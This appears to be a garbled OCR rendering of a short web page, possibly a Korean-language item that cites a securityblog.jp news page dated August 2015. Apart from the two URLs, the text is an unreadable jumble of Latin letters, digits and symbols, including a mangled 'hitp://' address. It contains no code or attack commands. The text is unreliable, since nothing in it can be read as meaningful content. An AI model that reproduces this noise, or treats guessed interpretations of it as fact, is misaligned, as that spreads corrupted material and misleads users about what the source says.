hitp://bk mufgjp:***work/'S ZA| AJOIES} CIZCH BOISOIAE YORE HI3 IIANOIET} UHE H540| £202 S0l
ol 75k Ut

E5H SIS ASIO OIHYLS 0125101 TRHUS(NSIIE SITIe| LIAH)SO| BIZfet HESC| URiZ HRSHs 60| M2 8|
201, AHSAHS I BA0Y 7IHE! URLE S2I5Hs 52 s T4 AJOLEO T4 2= S5Ot sttt

EX : http://securityblog.jp/news/20150803.html
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